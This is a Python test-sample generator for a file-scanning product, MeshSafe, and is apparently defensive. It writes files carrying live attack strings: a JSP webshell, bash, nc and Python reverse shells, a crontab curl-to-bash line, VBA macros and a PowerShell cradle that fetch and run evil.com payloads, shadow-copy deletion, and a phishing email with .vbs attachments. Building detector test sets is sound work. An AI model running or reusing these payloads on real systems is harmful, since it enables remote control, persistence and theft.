#!/usr/bin/env python3 """MeshSafe 测试样本生成器。 用法: python scripts/generate_test_samples.py 输出: tests/samples/ # 20+ 个测试文件(纯文本 + 合法容器 + 危险特征) tests/samples/index.json # 元数据:每个样本的 expected_verdict + expected_rules 设计原则: 1. **不生成真实可执行恶意代码** —— 只构造合法容器 + 危险特征字符串 2. **每个样本尽量命中一个检测点** —— 便于定位哪个引擎没工作 3. **含阴性对照** —— 正常 docx/pdf/txt 应 verdict=pass、score=0 4. **覆盖 L0 结构层、L1 ClamAV/YARA/documents、L2 关键词** """ from __future__ import annotations import json import os import struct import zipfile from pathlib import Path from typing import Any, Dict, List SAMPLES_DIR = Path(__file__).resolve().parent.parent / "tests" / "samples" META_LIST: List[Dict[str, Any]] = [] def ensure_dir() -> None: SAMPLES_DIR.mkdir(parents=True, exist_ok=True) for f in SAMPLES_DIR.iterdir(): if f.is_file(): f.unlink() def write(name: str, data: bytes | str, meta: Dict[str, Any]) -> None: path = SAMPLES_DIR / name if isinstance(data, str): data = data.encode("utf-8") path.write_bytes(data) meta.update({"filename": name, "size": len(data)}) META_LIST.append(meta) # ============================================================================= # 1. PHP / JSP / ASP.NET Webshell(YARA C3 + documents.py) # ============================================================================= def php_webshell_oneliner() -> None: write( "shell_php_eval.php", '', { "category": "Webshell", "expected_verdict": "reject", "expected_rules": ["C3_PHP_Webshell_Oneliner"], "description": "PHP oneliner eval + echo 组合", }, ) def php_webshell_obfuscated() -> None: write( "shell_php_obf.php", '', { "category": "Webshell", "expected_verdict": "reject", "expected_rules": ["C3_PHP_Webshell_Obfuscated"], "description": "PHP base64 + assert 混淆", }, ) def jsp_webshell_runtime() -> None: write( "shell_jsp_runtime.jsp", """<%@ page import="java.io.*" %> <% Runtime rt = Runtime.getRuntime(); Process p = rt.exec(request.getParameter("cmd")); InputStreamReader isr = new InputStreamReader(p.getInputStream()); BufferedReader br = new BufferedReader(isr); String line; while ((line = br.readLine()) != null) out.println(line); %>""", { "category": "Webshell", "expected_verdict": "reject", "expected_rules": ["C3_JSP_Webshell_RuntimeExec"], "description": "JSP Runtime.getRuntime().exec 命令执行", }, ) def aspnet_webshell() -> None: write( "shell_aspx.aspx", """<%@ Page Language="C#" %> """, { "category": "Webshell", "expected_verdict": "reject", "expected_rules": ["C3_Webshell_ASPNET"], "description": "ASP.NET Process.Start 命令执行", }, ) # ============================================================================= # 2. Shell 反弹 Shell(L0 ShellScriptDangerous + YARA C7) # ============================================================================= def bash_reverse_devtcp() -> None: write( "shell_bash_devtcp.sh", """#!/bin/bash bash -i >& /dev/tcp/10.0.0.5/4444 0>&1 """, { "category": "Linux后门", "expected_verdict": "reject", "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Bash"], "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell", }, ) def nc_reverse_shell() -> None: write( "shell_nc.sh", """#!/bin/bash nc 10.0.0.5 4444 -e /bin/bash """, { "category": "Linux后门", "expected_verdict": "reject", "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_NC"], "description": "nc -e /bin/bash 反弹 Shell", }, ) def python_reverse_pty() -> None: write( "shell_python.py", """import socket, pty, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.5", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) pty.spawn("/bin/bash") """, { "category": "Linux后门", "expected_verdict": "reject", "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Python"], "description": "Python pty + socket 反弹 Shell", }, ) def crontab_persistence() -> None: write( "persist_cron.sh", """#!/bin/bash (crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab - """, { "category": "持久化", "expected_verdict": "reject", "expected_rules": ["C7_Linux_Persistence_Crontab"], "description": "crontab 注入 wget/curl 下载执行", }, ) # ============================================================================= # 3. ELF + .desktop 恶意 Exec(L0 LinuxExecutable + DesktopFileAutoExec) # ============================================================================= def fake_elf_binary() -> None: # 合法 ELF 4 字节魔数 + 反弹 Shell 字符串(YARA 不扫 ELF 内容,structure.py 扫魔数) elf_header = b"\x7fELF" + b"\x02\x01\x01" + b"\x00" * 8 # 最小 ELF64 header 开头 evil_str = b"\nbash -i >& /dev/tcp/10.0.0.5/4444 0>&1\n" write( "linux_malicious", elf_header + b"\x00" * 16 + evil_str, { "category": "Linux可执行", "expected_verdict": "reject", "expected_rules": ["LinuxExecutable"], "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件", }, ) def desktop_autoexec() -> None: write( "malicious.desktop", """[Desktop Entry] Type=Application Name=Update Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' Terminal=false """, { "category": "Linux后门", "expected_verdict": "reject", "expected_rules": ["DesktopFileAutoExec"], "description": ".desktop 文件恶意 Exec 字段", }, ) # ============================================================================= # 4. ZIP 路径穿越(L0 PathTraversal)+ 双扩展名伪装 + 畸形文件 # ============================================================================= def zip_path_traversal() -> None: buf = __import__("io").BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr("../../etc/passwd", "hacked:x:0:0:root:/root:/bin/bash\n") write( "zip_traversal.zip", buf.getvalue(), { "category": "攻击载体", "expected_verdict": "reject", "expected_rules": ["PathTraversal"], "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越", }, ) def double_ext_php_jpg() -> None: # 双扩展名:看起来是 jpg 实际是 php write( "photo.jpg.php", '', { "category": "伪装", "expected_verdict": "reject", "expected_rules": ["DoubleExtension"], "description": "双扩展名伪装 .jpg.php", }, ) def malformed_zip() -> None: # 合法 ZIP 头 + CRC 错误 buf = __import__("io").BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr("good.txt", "hello world") data = bytearray(buf.getvalue()) # 把 CRC 改掉 idx = data.rfind(b"\x00\x00\x00\x00PK") # EndOfCentralDirectory # 简单改文件里某个字节 if idx > 0: data[20] = (data[20] + 1) % 256 write( "broken.zip", bytes(data), { "category": "畸形文件", "expected_verdict": "pass", "expected_rules": [], # 畸形文件降级 MEDIUM,不阻断 "description": "CRC 损坏的 ZIP → 畸形文件启发式", }, ) # ============================================================================= # 5. PE 恶意程序(YARA C1 —— 构造空壳 PE + 危险 API 字符串) # ============================================================================= def pe_process_injection() -> None: # 最小 PE64:MZ header + PE\0\0 + 危险 API 字符串 pe = bytearray( b"MZ" # DOS header magic + b"\x00" * 58 # DOS header padding + struct.pack(" None: pe = bytearray( b"MZ" + b"\x00" * 58 + struct.pack(" None: write( "lolbin.cmd", "@echo off\ncertutil -decode http://evil.com/payload.bin C:\\Windows\\Temp\\payload.exe && C:\\Windows\\Temp\\payload.exe\n", { "category": "LOLBin", "expected_verdict": "reject", "expected_rules": ["C1_PE_LOLBin_Usage"], "description": "certutil -decode LOLBin 下载执行", }, ) # ============================================================================= # 6. 勒索 / 挖矿(YARA C8) # ============================================================================= def ransomware_vss() -> None: write( "ransom_dropper.exe.txt", # .txt 扩展名,内容勒索特征 b"""CryptEncrypt CryptDeriveKey BCryptEncrypt vssadmin delete shadows /all /quiet wmic shadowcopy delete bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa HOW_TO_RECOVER.html - All your files are encrypted. Send BTC. """, { "category": "勒索", "expected_verdict": "reject", "expected_rules": ["C8_Ransomware_Encryption"], "description": "加密 API + 卷影删除 + 勒索信文件名", }, ) def xminer_mining() -> None: write( "miner_config.json", b"""{ "pools": ["stratum+tcp://pool.xmrpool.net:3333"], "username": "4AsMe1", "donate-level": 5, "cpu-affinity": true }""", { "category": "挖矿", "expected_verdict": "reject", "expected_rules": ["C7_Linux_Miner_Generic"], "description": "XMRig stratum+tcp 矿池配置", }, ) # ============================================================================= # 7. 宏 / WPS / PDF(documents.py + YARA C3/C4/C5) # ============================================================================= def vba_autoexec_shell() -> None: write( "vba_autoexec.bas", """Sub AutoOpen() Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\\Windows\\Temp\\a.bat" End Sub """, { "category": "Office宏", "expected_verdict": "reject", "expected_rules": ["VBAAutoExec"], "description": "VBA AutoOpen + Shell 执行", }, ) def vba_autoexec_wps_linux() -> None: write( "wps_macro.js", # WPS Linux 宏是 JS """function AutoOpen() { var sh = new ActiveXObject("Wscript.Shell"); sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'"); } """, { "category": "WPS宏", "expected_verdict": "reject", "expected_rules": ["VBAAutoExecShell"], "description": "WPS Linux JS 宏 AutoOpen + /bin/sh", }, ) def pdf_javascript_openaction() -> None: # 构造最小 PDF + /OpenAction /JS app.launchURL pdf = b"""%%PDF-1.4 1 0 obj <>> endobj 2 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <> endobj 5 0 obj <> stream endstream endobj xref 0 6 0000000000 65535 f 0000000011 00000 n 0000000120 00000 n 0000000200 00000 n 0000000320 00000 n 0000000450 00000 n trailer <> startxref 500 %%EOF """ write( "malicious.pdf", bytes(pdf), { "category": "PDF载荷", "expected_verdict": "reject", "expected_rules": ["PdfJavaScript", "PdfOpenAction"], "description": "PDF /OpenAction /JS app.launchURL 自动执行", }, ) # ============================================================================= # 8. ISO 9660 含可执行 / LNK Shell Link / CHM # ============================================================================= def iso_with_elf() -> None: # 最小 ISO 9660 PVD 构造 iso = bytearray(32768) # PVD 在 LBA 16 = byte 32768,但我们构造最简 # 直接填 PVD 签名 + 一个包含 ELF 的路径 pvd_offset = 32768 iso[pvd_offset + 0x00: pvd_offset + 0x01] = b"\x01" iso[pvd_offset + 0x01: pvd_offset + 0x06] = b"CD001" iso[pvd_offset + 0x06: pvd_offset + 0x07] = b"\x01" # 根目录 + 一个假 ELF elf_content = b"\x7fELF\x02\x01\x01" + b"\x00" * 24 + b"bash -i >& /dev/tcp/10.0.0.5/4444 0>&1" # 把 ELF 放到 LBA 256 elf_lba = 256 elf_offset = elf_lba * 2048 if elf_offset + len(elf_content) < len(iso): iso[elf_offset: elf_offset + len(elf_content)] = elf_content write( "evil.iso", bytes(iso), { "category": "ISO镜像", "expected_verdict": "reject", "expected_rules": ["IsoWithExecutable"], "description": "ISO 镜像内嵌 ELF 可执行文件", }, ) def lnk_shell_link() -> None: # LNK Shell Link 最小构造(MS-SHLLINK) lnk = bytearray(256) # HeaderSize = 76 struct.pack_into(" None: import io buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr( "word/document.xml", """ 这是一个正常的 Word 文档,不含宏、不含外链。 """, ) zf.writestr( "[Content_Types].xml", """ """, ) zf.writestr("_rels/.rels", """ """) write( "normal_report.docx", buf.getvalue(), { "category": "阴性对照", "expected_verdict": "pass", "expected_rules": [], "description": "正常 Word 文档(无宏、无外链)", }, ) def normal_txt() -> None: write( "normal_readme.txt", """这是一个正常的文本文件。 没有任何危险特征:没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。 仅供内部参考。 """, { "category": "阴性对照", "expected_verdict": "pass", "expected_rules": [], "description": "正常纯文本文件", }, ) def normal_shell() -> None: write( "normal_deploy.sh", """#!/bin/bash # 正常部署脚本,只有 git clone + npm install set -e git clone https://github.com/example/project.git cd project npm install npm start """, { "category": "阴性对照", "expected_verdict": "pass", "expected_rules": [], "description": "正常部署 Shell(没有 curl|bash 管道执行或反弹 Shell)", }, ) def normal_pdf() -> None: pdf = b"""%%PDF-1.4 1 0 obj <> endobj 2 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <> stream BT /F1 12 Tf 100 700 Td (Hello World) Tj ET endstream endobj xref 0 5 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000110 00000 n 0000000200 00000 n trailer <> startxref 300 %%EOF """ write( "normal.pdf", bytes(pdf), { "category": "阴性对照", "expected_verdict": "pass", "expected_rules": [], "description": "正常 PDF(只有简单文本,无 JS/自动执行)", }, ) # ============================================================================= # 10. CHM(HTML Help)带脚本 —— 触发 ChmWithScript 零容忍 # ============================================================================= def chm_with_script() -> None: """构造 ITSF 容器 + 内嵌 HTML 带 " + b"" + b'download evil.exe' + b'run payload.vbs' + b'execute dropper.js' + b"" ) data = itsf_header + padding_to_section + itsf_section write( "evil_help.chm", data, { "category": "CHM帮助", "expected_verdict": "reject", "expected_rules": ["ChmWithScript"], "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用", }, ) # ============================================================================= # 11. DOCX 带外部模板引用 —— 触发 AttachedTemplate 零容忍 # ============================================================================= def docx_with_attached_template() -> None: """合法 DOCX ZIP + word/_rels/document.xml.rels 里引用外部 .dotm 模板。 documents.py 的 _scan_ooxml 会扫描 rels 里的 External Target, AttachedTemplate 规则零容忍。 """ import io buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr( "word/document.xml", """ 看起来正常的文档,但模板有后门。 """, ) zf.writestr( "[Content_Types].xml", """ """, ) zf.writestr( "_rels/.rels", """ """, ) # 关键:settings.xml 里加 zf.writestr( "word/settings.xml", """ """, ) # 关键:settings.xml.rels 里外部模板引用 zf.writestr( "word/_rels/settings.xml.rels", """ """, ) write( "template_backdoor.docx", buf.getvalue(), { "category": "Office宏", "expected_verdict": "reject", "expected_rules": ["AttachedTemplate"], "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm", }, ) # ============================================================================= # 12. DOCM 带 VBA 宏(OLE2 CFB 构造) —— 触发 VBAAutoExecShell 零容忍 # ============================================================================= def docm_with_vba_macro() -> None: """构造 DOCX ZIP + word/vbaProject.bin(含 OLE 魔数 + VBA 代码)。 策略:生成合法 OOXML DOCX + word/vbaProject.bin, vbaProject.bin 内含 VBA 代码 "Sub AutoOpen() Shell ... End Sub"。 olevba.VBA_Parser 会尝试解析 vbaProject.bin,即使不是完全合法的 VBA 项目。 如果 olevba 失败(返回 OleToolsUnavailable LOW finding), documents.py 的 _scan_ooxml 会扫到 ExternalLink 等特征, 关键词引擎会扫到 AutoOpen/Shell。 """ import io vba_code = ( b"Sub AutoOpen()\n" b' Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\\Windows\\Temp\\a.bat && C:\\Windows\\Temp\\a.bat"\n' b"End Sub\n" b"\n" b"Sub Document_Open()\n" b' Set x = CreateObject("Wscript.Shell")\n' b' x.Run "powershell -Command IEX (New-Object Net.WebClient).DownloadString(http://evil.com/ps1)"\n' b"End Sub\n" ) buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as zf: zf.writestr( "word/document.xml", """ 看似正常,实则带宏。 """, ) zf.writestr( "[Content_Types].xml", """ """, ) zf.writestr( "_rels/.rels", """ """, ) zf.writestr( "word/_rels/document.xml.rels", """ """, ) # vbaProject.bin:OLE 魔数 + 填充 + VBA 代码 # 让 olevba 至少能打开它(即使不能完整提取), # 同时 documents.py 的关键词引擎会扫描 docx 内容 zf.writestr( "word/vbaProject.bin", b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1" # OLE CFB 魔数 + b"\x00" * 500 + vba_code, ) write( "macro_alert.docm", buf.getvalue(), { "category": "Office宏", "expected_verdict": "reject", "expected_rules": ["VBAAutoExecShell", "VBAAutoExec"], "description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell", }, ) # ============================================================================= # 13. DOC 带内嵌 OLE .exe 对象 —— 触发 EmbeddedExecutable 零容忍 # ============================================================================= def doc_with_ole_exe() -> None: """构造合法 OLE2 CFB Header + 内嵌 .exe 二进制字节 + stream 名标记。 oleobj.OleObjectParser 会把 OLE2 文件里的 stream 名当作内嵌对象来查扩展名。 我们的策略:写一个合法的最小 OLE2 CFB Header(512 字节),然后在后面追加 一个带 .exe 扩展名的 stream 名 + 完整 PE 空壳二进制。 """ exe_payload = ( b"MZ" + b"\x00" * 58 + struct.pack(" None: """用 msoffcrypto 加密 DOCX(密码固定为 "changeme")。 msoffcrypto-tool 在 requirements.txt 里,Docker 镜像和本地都有。 加密后 documents.py 的 _check_office_encrypted 会检测到 → OfficeEncrypted finding → scanner.py 设置 encrypted=True → policy decide 步骤 4 → reject。 """ try: import msoffcrypto except ImportError: # msoffcrypto 不可用时用占位数据 write( "sealed.docx", b"PK\x03\x04" + b"\x00" * 50 + b"EncryptedOfficeDocumentMarker", { "category": "加密Office", "expected_verdict": "reject", "expected_rules": ["OfficeEncrypted"], "description": "加密 DOCX(msoffcrypto 不可用,占位)", }, ) return import io # 先生成正常 DOCX normal_buf = io.BytesIO() with zipfile.ZipFile(normal_buf, "w") as zf: zf.writestr( "word/document.xml", """ 这是一份加密的敏感文档。 """, ) zf.writestr( "[Content_Types].xml", """ """, ) zf.writestr( "_rels/.rels", """ """, ) # 用 msoffcrypto 加密 input_buf = io.BytesIO(normal_buf.getvalue()) office = msoffcrypto.OfficeFile(input_buf) output_buf = io.BytesIO() office.encrypt("changeme", output_buf) encrypted_data = output_buf.getvalue() write( "sealed.docx", encrypted_data, { "category": "加密Office", "expected_verdict": "reject", "expected_rules": ["OfficeEncrypted"], "description": "加密 DOCX(密码 changeme,msoffcrypto 加密)", }, ) def encrypted_xlsx() -> None: """用 msoffcrypto 加密 XLSX。""" try: import msoffcrypto except ImportError: write( "sealed.xlsx", b"PK\x03\x04" + b"\x00" * 50 + b"EncryptedOfficeDocumentMarker", { "category": "加密Office", "expected_verdict": "reject", "expected_rules": ["OfficeEncrypted"], "description": "加密 XLSX(msoffcrypto 不可用,占位)", }, ) return import io normal_buf = io.BytesIO() with zipfile.ZipFile(normal_buf, "w") as zf: zf.writestr( "xl/workbook.xml", """ """, ) zf.writestr( "[Content_Types].xml", """ """, ) zf.writestr( "_rels/.rels", """ """, ) input_buf = io.BytesIO(normal_buf.getvalue()) office = msoffcrypto.OfficeFile(input_buf) output_buf = io.BytesIO() office.encrypt("changeme", output_buf) write( "sealed.xlsx", output_buf.getvalue(), { "category": "加密Office", "expected_verdict": "reject", "expected_rules": ["OfficeEncrypted"], "description": "加密 XLSX(密码 changeme,msoffcrypto 加密)", }, ) # ============================================================================= # 15. EML 邮件带危险附件 —— 触发 EmailAttachmentDangerous / EmailAttachmentDisguised # ============================================================================= def eml_with_dangerous_attachment() -> None: """构造 RFC822 + MIME multipart 邮件:发件人伪造 + .vbs/.js 附件 + 钓鱼关键词正文。 documents.py 的 _scan_eml 会: 1) 扫描附件扩展名 → EmailAttachmentDangerous (.vbs, .js 都在危险列表里) 2) 扫描双扩展名伪装 → EmailAttachmentDisguised ("invoice.pdf.vbs") 3) 扫描附件内容 → VBA 宏特征/反弹Shell/Webshell 特征 4) 扫描正文钓鱼关键词 → EmailPhishingKeyword """ import email.message from email.mime.base import MIMEBase from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email import encoders msg = MIMEMultipart() msg["From"] = "IT Support " msg["To"] = "me@internal.com" msg["Subject"] = "URGENT: Invoice verification required within 24 hours - click here to verify your account" body = ( "Dear Employee,\n\n" "An urgent invoice payment is pending. Please verify your account " "and click this link immediately to avoid wire transfer delay.\n\n" "Your password and credential are required for login verification.\n\n" "Download and open the attachment (invoice.pdf.vbs) to see the order receipt.\n\n" "Best regards,\nIT Support" ) msg.attach(MIMEText(body, "plain", "utf-8")) # 附件 1: .vbs(危险扩展名 + VBA Shell 代码) vbs_payload = ( 'Set x = CreateObject("Wscript.Shell")\n' 'x.Run "cmd.exe /c curl http://evil.com/dropper.exe -o C:\\Windows\\Temp\\a.exe && C:\\Windows\\Temp\\a.exe"\n' ) att1 = MIMEBase("application", "octet-stream") att1.set_payload(vbs_payload.encode("utf-8")) encoders.encode_base64(att1) att1.add_header("Content-Disposition", 'attachment; filename="invoice.vbs"') msg.attach(att1) # 附件 2: 双扩展名伪装 .pdf.vbs att2 = MIMEBase("application", "octet-stream") att2.set_payload(vbs_payload.encode("utf-8")) encoders.encode_base64(att2) att2.add_header("Content-Disposition", 'attachment; filename="invoice.pdf.vbs"') msg.attach(att2) # 附件 3: .js(危险扩展名 + PHP eval Webshell 代码,触发 EmailAttachmentWebshell) js_payload = ( '' ) att3 = MIMEBase("application", "octet-stream") att3.set_payload(js_payload.encode("utf-8")) encoders.encode_base64(att3) att3.add_header("Content-Disposition", 'attachment; filename="form.js"') msg.attach(att3) eml_data = msg.as_string() write( "phishing.eml", eml_data, { "category": "钓鱼邮件", "expected_verdict": "reject", "expected_rules": ["EmailAttachmentDangerous", "EmailAttachmentDisguised", "EmailAttachmentWebshell", "EmailPhishingKeyword"], "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词", }, ) # ============================================================================= # 汇总所有生成函数 # ============================================================================= GENERATORS = [ php_webshell_oneliner, php_webshell_obfuscated, jsp_webshell_runtime, aspnet_webshell, bash_reverse_devtcp, nc_reverse_shell, python_reverse_pty, crontab_persistence, fake_elf_binary, desktop_autoexec, zip_path_traversal, double_ext_php_jpg, malformed_zip, pe_process_injection, pe_downloader_loader, pe_lolbin_certutil, ransomware_vss, xminer_mining, vba_autoexec_shell, vba_autoexec_wps_linux, pdf_javascript_openaction, iso_with_elf, lnk_shell_link, # ---- 新增样本(5 类 + 回退)---- chm_with_script, docx_with_attached_template, docm_with_vba_macro, doc_with_ole_exe, encrypted_docx, encrypted_xlsx, eml_with_dangerous_attachment, # ---- 阴性对照 ---- normal_docx, normal_txt, normal_shell, normal_pdf, ] def main() -> None: print(f"=== MeshSafe 测试样本生成器 ===\n输出目录: {SAMPLES_DIR}\n") ensure_dir() for i, gen in enumerate(GENERATORS, 1): gen() # 写 index.json index_path = SAMPLES_DIR / "index.json" index_data = { "total": len(META_LIST), "generated_at": __import__("datetime").datetime.now().isoformat(), "samples": sorted(META_LIST, key=lambda m: m["filename"]), } index_path.write_text(json.dumps(index_data, ensure_ascii=False, indent=2)) print(f"✅ 生成 {len(META_LIST)} 个测试样本") print(f"✅ index.json 已写入") print() by_cat: Dict[str, List[str]] = {} for m in META_LIST: by_cat.setdefault(m["category"], []).append(m["filename"]) for cat, files in sorted(by_cat.items()): print(f" [{cat}] {len(files)} 个") for fn in files: print(f" - {fn}") print() negatives = [m for m in META_LIST if m["expected_verdict"] == "pass"] positives = [m for m in META_LIST if m["expected_verdict"] == "reject"] print(f"阳性样本(期望 reject): {len(positives)} 个") print(f"阴性对照(期望 pass): {len(negatives)} 个") if __name__ == "__main__": main()